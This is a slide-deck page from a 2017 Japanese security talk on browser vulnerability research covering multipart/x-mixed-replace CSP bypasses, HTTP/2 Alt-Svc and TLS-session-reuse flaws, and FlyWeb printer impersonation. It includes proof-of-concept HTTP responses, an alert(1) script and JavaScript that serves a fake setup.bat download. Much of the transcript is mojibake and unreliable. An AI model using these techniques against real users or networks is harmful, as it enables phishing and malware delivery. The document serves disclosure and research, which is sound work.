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脆弱性発見者が注目する近年のWeb技術
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MUNEAKI NISHIMURA
February 03, 2017
Technology
29
13k
脆弱性発見者が注目する近年のWeb技術
RECRUIT Technologies NIGHT vol.3の発表資料です。
MUNEAKI NISHIMURA
February 03, 2017
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Transcript
੬ऑੑൃݟऀ͕͢Δۙͷ8FCٕज़ 3&$36*55FDIOPMPHJFT/*()5WPM ݄
ଜ फߊ גࣜձࣾϦΫϧʔτςΫϊϩδʔζ αΠόʔηΩϡϦςΟΤϯδχΞϦϯά෦ γχΞηΩϡϦςΟΤϯδχΞ ࠃܞଳిϝʔΧʔͰͷηΩϡϦςΟίϯαϧλϯτ ͳͲΛܦ݄ͯΑΓݱ৬ɻϦΫϧʔτͷ*%ཧج ൫ͷηΩϡϦςΟอकϦΫϧʔτάϧʔϓશࣾͷ੬ऑ ੑमਖ਼ࢧԉʹܞΘΔɻझຯϒϥβͷ੬ऑੑΛ୳͢͜ ͱɻʹใࠂͨ͠੬ऑੑ݅Λ͑Δɻஶॻʹ
ϒϥβϋοΫʢ༁ʣɻओͳߨԋྺʹ$0%& #-6& ɺ"750,:0 ɺ1BD4FD ɻΑΓ ηΩϡϦςΟɾΩϟϯϓશࠃେձߨࢣ
੬ऑੑΛൃݟ͢ΔਓͷࢹͰ ͍ͯ͠Δ8FCٕज़Λհ͠·͢
Server Push
• ʹΓٞͱվળ͕ଓ͚ΒΕ͍ͯΔ8FCٕज़ • աڈʹ4FSWFS4FOU&WFOUT8FC4PDLFU • *&5'Ͱ)551QVTIΛޮՌతʹѻ͏ٕज़ͱͯ͠ &BSMZ)JOUT͕ఏҊ͞Ε͍ͯΔ • ଞʹɺϒϥβͰ1VTI௨Λड͚औΔٕज़ͷඪ४Խ͕ਐΜͰ͓Γɺ 8FC1VTIϓϩτίϧ1VTI"1*ͷ༷ࡦఆ͕ߦͳΘΕ͍ͯΔ
• ͦΜͳதɺݸਓతʹ͍ͯ͠Δͷʜ 4FSWFS1VTI
multipart / x-mixed-replace
http://web.archive.org/web/19961020045320/http://www3.netscape.com/assist/net_sites/pushpull.html
• ɺ/FUTDBQFʹࡌ͞Εͨ࠷ݹͷ4FSWFS1VTI • .+1&(PWFS)551ͷ৴खஈͱͯ͠༻͞Ε͍ͯΔ • .P[JMMBͷ5FMFNFUSZʹΑΔͱɺݱࡏͷར༻ • ݱࡏͰɺ'JSFGPY͘Β͍͔͠·ͱʹαϙʔτ͍ͯ͠ͳ͍ • ҰମͲ͜ͰΘΕ͍ͯΔͷ͔
NVMUJQBSUYNJYFESFQMBDF
#VH[JMMBͷݕࡧը໘ https://bugzilla.mozilla.org/buglist.cgi?quicksearch=nishimunea
3*$0)5)&5" https://developers.theta360.com/ja/docs/v2.1/api_reference/commands/camera.get_live_preview.html
HTTP/1.0 200 Content-type: multipart/x-mixed-replace;boundary=BOUNDARY --BOUNDARY Content-type: text/html <h1>Page 1</h1> --BOUNDARY
Content-type: text/html <h1>Page 2</h1> --BOUNDARY- ϖʔδͷσʔλ ϖʔδͷσʔλ
Կނ͍ͯ͠Δ͔ͱ͍͏ͱ
ηΩϡϦςΟϔομΛΑ͘ແࢹ͢Δ
HTTP/1.0 200 Content-type: multipart/x-mixed-replace;boundary=BOUNDARY Content-Security-Policy: default-src 'self' --BOUNDARY Content-type: text/html
<script>alert(1)</script> --BOUNDARY Content-type: text/html <h1>Page 2</h1> --BOUNDARY- $41ͰΠϯϥΠϯεΫϦϓτͷ࣮ߦΛېࢭ
HTTP/1.0 200 Content-type: multipart/x-mixed-replace;boundary=BOUNDARY Content-Security-Policy: default-src 'self' --BOUNDARY Content-type: text/html
<script>alert(1)</script> --BOUNDARY Content-type: text/html <h1>Page 2</h1> --BOUNDARY-
https://www.mozilla.org/en-US/security/advisories/mfsa2016-45/
HTTP/1.0 200 Content-type: multipart/x-mixed-replace;boundary=BOUNDARY --BOUNDARY Content-type: text/html Content-Security-Policy: default-src 'self'
<script>alert(1)</script> --BOUNDARY Content-type: text/html <h1>Page 2</h1> --BOUNDARY- $41ϔομͷҐஔΛԼʹͣΒͯ͠ΈΔ
HTTP/1.0 200 Content-type: multipart/x-mixed-replace;boundary=BOUNDARY --BOUNDARY Content-type: text/html Content-Security-Policy: default-src 'self'
<script>alert(1)</script> --BOUNDARY Content-type: text/html <h1>Page 2</h1> --BOUNDARY-
·ͩͬͯͳ͍ https://bugzilla.mozilla.org/show_bug.cgi?id=1296471
https://bugzilla.mozilla.org/show_bug.cgi?id=1296471 ੬ऑੑΛӅ͢͜ͱΑΓɺ$41ͷ࣮͕ෆશͰ͋Δ͜ͱΛ 8FCαΠτͷ։ൃऀ͕Δ͜ͱͷํ͕େͩͱஅ͠ɺ .P[JMMBະमਖ਼ͷ੬ऑੑใΛ։ࣔ
HTTP/1.0 200 Content-type: multipart/x-mixed-replace;boundary=BOUNDARY Referrer-Policy: no-referrer --BOUNDARY Content-type: text/html <a
href="https://evil.example.jp">Link</a> --BOUNDARY Content-type: text/html <h1>Page 2</h1> --BOUNDARY- 3FGFSSFS1PMJDZϔομͰϦϑΝϥૹग़Λېࢭ ͳͷʹϦϑΝϥ͕ૹΒΕΔ
https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5385 'JSFGPYͰઌिमਖ਼͞Εͨ
৽͍͠ϔομ͕ొ͢Δͨͼָ͠ΊΔ
HTTP/2
• ݟ҉߸Λѱ༻ͯ͠ɺِͷ)5514αʔόʹଓͤ͞Δ͜ͱͷ Ͱ͖Δ੬ऑੑʢ$7&ʣΛ-5Ͱհͨ͠ +YDL͞Μͱͷग़ձ͍ɺIUUQษڧձͰͨ͠ https://http2study.connpass.com/event/13251/
ͦͷ੬ऑੑͷ࠶ݱө૾ΛݟͯΈ·͠ΐ͏
੬ऑੑͷݪҼ5-4ηογϣϯͷ࠶ར༻Ͱͨ͠ twitter.com (Fake) evil.csrf.jp https://twitter.com Reuse TLS Session Ticket (Session
Resumption) Fake Application Data http://evil.csrf.jp alt-svc: h2="twitter.com:8021" TLS Session Ticket http://evil.csrf.jp Establish TLS Session without server certificate verification
੬ऑੑͷݪҼ5-4ηογϣϯͷ࠶ར༻Ͱͨ͠ twitter.com (Fake) evil.csrf.jp https://twitter.com Reuse TLS Session Ticket (Session
Resumption) Fake Application Data http://evil.csrf.jp alt-svc: h2="twitter.com:8021" TLS Session Ticket http://evil.csrf.jp Establish TLS Session without server certificate verification ݟ҉߸Ͱαʔόূ໌ॻΛݕূͤͣʹ ཱ֬ͨ͠5-4ηογϣϯΛʜ )5514௨৴࣌ʹ࠶ར༻͍ͯͨ͠
• )551$POOFDUJPO3FVTF 3'$ - ಉ͡*1ΞυϨεɺ͔ͭಉ͡ূ໌ॻͷ$/4"/ʹؚ·ΕΔϗετͱͷ௨৴Ͱ͋Εɺ )551ίωΫγϣϯΛڞ༗ͯ͠Α͍ • )551"MUFSOBUJWF4FSWJDFT 3'$ -
ಉ͡ϦιʔεΛఏڙ͢Δସαʔόͷ༻ΛΫϥΠΞϯτʹఏҊ͢Δ - ྫʣBMUFYBNQMFKQͷ൪ϙʔτͰ)551ʹΑΔ௨৴ΛΦϑΝʔ )551ͷίωΫγϣϯཧͳ͔ͳ͔େม alt-svc: h2="alt.example.jp:8000";
flickr.com ෳυϝΠϯͷ)551ίωΫγϣϯΛڞ༗͢Δͱ͖ flickr.com yahoo.com yahoo.com Certificate (valid for yahoo.com &
flickr.com) Establish TLS Session ZBIPPDPNͱͷ௨৴Ͱཱ֬͞ΕͨίωΫγϣϯΛ GMJDLSDPNͱͷ௨৴ʹར༻Ͱ͖Δ Connection
flickr.com αʔόূ໌ॻͷϐϯχϯάݕূ͕Α͘࿙ΕΔ flickr.com yahoo.com yahoo.com Certificate (valid for yahoo.com &
flickr.com) Establish TLS Session Connection ͜͜ͰɺGMJDLSDPNͷެ։伴ϐϯχϯάΛݕূ͠Εͯ͠·͏ $7&ʢ'JSFGPYʣ$7&ʢ$ISPNFʣ
flickr.com ͦΕͬͯ੬ऑੑʁ flickr.com yahoo.com Certificate (valid for yahoo.com & flickr.com)
Connection yahoo.com Establish TLS Session ྆ํͷαΠτͷݖརऀҰॹͳͷͰ GMJDLSDPNͷϐϯχϯάΛݕূ͠ͳͯ͘ ࣮࣭తͳڴҖ͋·Γͳ͍ͷͰʁ
ಉ͡ূ໌ॻ͔ͩΒαΠτͷݖརऀ͕ಉ͡ͱݶΒͳ͍ • ྫ͑ɺ'BTUMZͷڞ༗ূ໌ॻαʔϏε - IUUQTKBGPVSTRVBSFDPN ͷূ໌ॻΛݟͯΈΑ͏
͜ΕΒͷαΠτͷϐϯχϯάΛᷖճͰ͖Δͱ͍͏͜ͱ
)551"MUFSOBUJWF4FSWJDF "MU4WD a.example.com HTTP/2 Application Data (authority: a.example.com) a.example.com alt-svc:
h2="b.example.jp:443" Certificate a.example.com Establish TLS Session b.example.jp Verify Certificate
"MU4WDͷਖ਼͍࣮͜͠͏ͳΜͰ͕͢ʜ a.example.com HTTP/2 Application Data (authority: a.example.com) a.example.com alt-svc: h2="b.example.jp:443"
Certificate a.example.com Establish TLS Session b.example.jp Verify Certificate BFYBNQMFDPNͷূ໌ॻΛ4/*Ͱཁٻ BFYBNQMFDPNͷূ໌ॻͰ͋Δ͜ͱΛݕূ
࣮ΛޡΔͱ%/4ϦόΠϯσΟϯά੬ऑੑʹͳΔ a.example.com HTTP/2 Application Data (authority: a.example.com) a.example.com alt-svc: h2="b.example.jp:443"
Certificate a.example.com Establish TLS Session b.example.jp Verify Certificate CFYBNQMFKQͷূ໌ॻΛ4/*Ͱཁٻ CFYBNQMFKQͷূ໌ॻͰ͋Δ͜ͱΛݕূ BFYBNQMFDPNͷ)551σʔλΛ ଞਓͷαʔόʹૹΓ͚Δ͜ͱ͕Ͱ͖Δ
͜ͷ࣮ϛε͕ݪҼͰ$034ΛᷖճͰ͖ͨྫ evil XMLHttpRequest with DELETE method alt-svc: h2="victim:443" victim Preflight
(OPTIONS method) DELETE request 1SFGMJHIUΛ߈ܸऀͷαΠτͰड͚ͯʜ ࣮ϦΫΤετ͚ͩΛඪతʹૹΔ
https://bugzilla.mozilla.org/show_bug.cgi?id=1148357 ࢲڻ͍͍ͯΔɻ͜Ε"MU4WDΛ༻͍ͨॳͷ੬ऑੑͩ
ಉ͡Α͏ͳ੬ऑੑ͕͖ͬͱࠓޙग़͖ͯͦ͏
FlyWeb
https://flyweb.github.io/#showcase
• .P[JMMB͕࣮ࢪ͍ͯ͠Δɺ8FCͱཧσόΠεͷ࿈ܞϓϩδΣΫτ - 8FCίϯςϯπͱɺͦΕΛӾཡͨ͠ਓͷۙ͘ʹ͋Δ༷ʑͳσόΠε͕࿈ಈ • ϓϩδΣΫτ·࣮ͩݧஈ֊ - 'JSFGPY/JHIUMZʹͷΈσϑΥϧτແޮͰࡌ - BCPVUDPOGJH
Ͱ EPNGMZXFCFOBCMFEUSVFʹઃఆ͢Δ͜ͱͰར༻Մೳ 'MZ8FC
• ෳͷεϚϗΛଓ͠ɺϒϥβ্ͰରઓܕϨʔεήʔϜΛ࣮ݱ 'MZ8FCͷར༻ྫʢ'MZ8FC(1ʣ https://www.youtube.com/watch?v=FJ5DEGvqDb4
'MZ8FCͷΈ Local Network (1) Launch a website (2) HTML /
JS (3) Publish mDNS and web servers (4) DNS Service Discovery (5) HTTP & WebSocket +BWB4DSJQUͰαʔόΛ্ཱͪ͛Δ ϩʔΧϧΤϦΞͷ͕ͦͷαʔόʹΞΫηε
navigator.publishServer('MyServer').then(server => { server.onfetch = e => { var headers
= {'Content-Type': 'text/html'}; var body = '<h1>Hello FlyWeb</h1>'; e.respondWith(new Response(body, {headers: headers})); }; });
navigator.publishServer('MyServer').then(server => { server.onfetch = e => { var headers
= {'Content-Type': 'text/html'}; var body = '<h1>Hello FlyWeb</h1>'; e.respondWith(new Response(body, {headers: headers})); }; }); .Z4FSWFS@GMZXFC@UDQMPDBMͱ͍͏αʔϏε໊Ͱ N%/4ͱ)551αʔόΛىಈ ϩʔΧϧΤϦΞͷ͕αʔόʹΞΫηε͖ͯͨ͠Β )FMMP'MZ8FCͱॻ͔Εͨ)5.-Λฦ͢
αʔόͷىಈ֬ೝμΠΞϩά͕ग़ͯ ϖʔδΛݟͨϢʔβ͕ʮ"MMPX4FSWFSʯΛબ͢Δͱ ϩʔΧϧΤϦΞͰN%/4ͱ)551αʔό͕ىಈ͢Δ
ϩʔΧϧΤϦΞʹ͋Δผͷ͕αʔόʹͭͳ͕Δ • 'JSFGPY͕ϩʔΧϧΤϦΞʹ͋Δ'MZ8FCαʔόΛࣗಈతʹ୳ࡧ͠ɺ ΞΫηεͰ͖ΔΑ͏ʹͯ͘͠ΕΔ
#POKPVSରԠΦϑΟεϓϦϯλͷཧը໘։͚Δ • 'JSFGPYͷ'MZ8FCΟϯυ@IUUQUDQʹରԠ͍ͯ͠ΔͷͰ #POKPVSͰ)551ͷ6*Λఏڙ͢ΔػثʹΞΫηεͰ͖Δ
'MZ8FCͰձࣾͷωοτϫʔΫʹ৵ೖͰ͖ͦ͏ͩ Local Network (1) Launch a website (2) HTML /
JS (3) Publish mDNS and web servers (4) Launch HTTP UI (5) Download malware 'MZ8FCͰΦϑΟεϓϦϯλͷ ཧը໘ʹͳΓ͢·͢ ཧը໘ʹΞΫηεͨ͠ʹ ϚϧΣΞ ͏͔ͬΓࣾһ͕᠘αΠτΛӾཡ
navigator.publishServer('Can0n ME220').then(server => { server.onfetch = e => { var
h = {'Content-Type': 'application/bat', 'Content-Disposition': 'attachment; filename=setup.bat'}; var cmd = 'calc'; e.respondWith(new Response(cmd, {headers: h})); }; }); ΦϑΟεϓϦϯλͱಉ͡%/4໊Λࢦఆ ΞΫηεͨ͠ʹ TFUVQCBU Λ
͕͢͞ʹυϝΠϯ͕ո͍͠ͷͰܯռ͞Εͦ͏͚ͩͲʜ
(PPHMF༁ܦ༝Ͱ։͚ͦΕͬΆ͍υϝΠϯʹ
ଞͷࣾһِ͕ͷΦϑΟεϓϦϯλʹΞΫηε͢Δͱʜ ϓϦϯλυϥΠό͔ͳ͊ʜʁ
None
͜ͷ··ͷ༷ͩͱຊʹѱ༻͞Εͦ͏
• 4FSWFS1VTI NVMUJQBSUYNJYFESFQMBDF • )551 • 'MZ8FC ͍ͯ͠Δ8FCٕज़Λͭհ͠·ͨ͠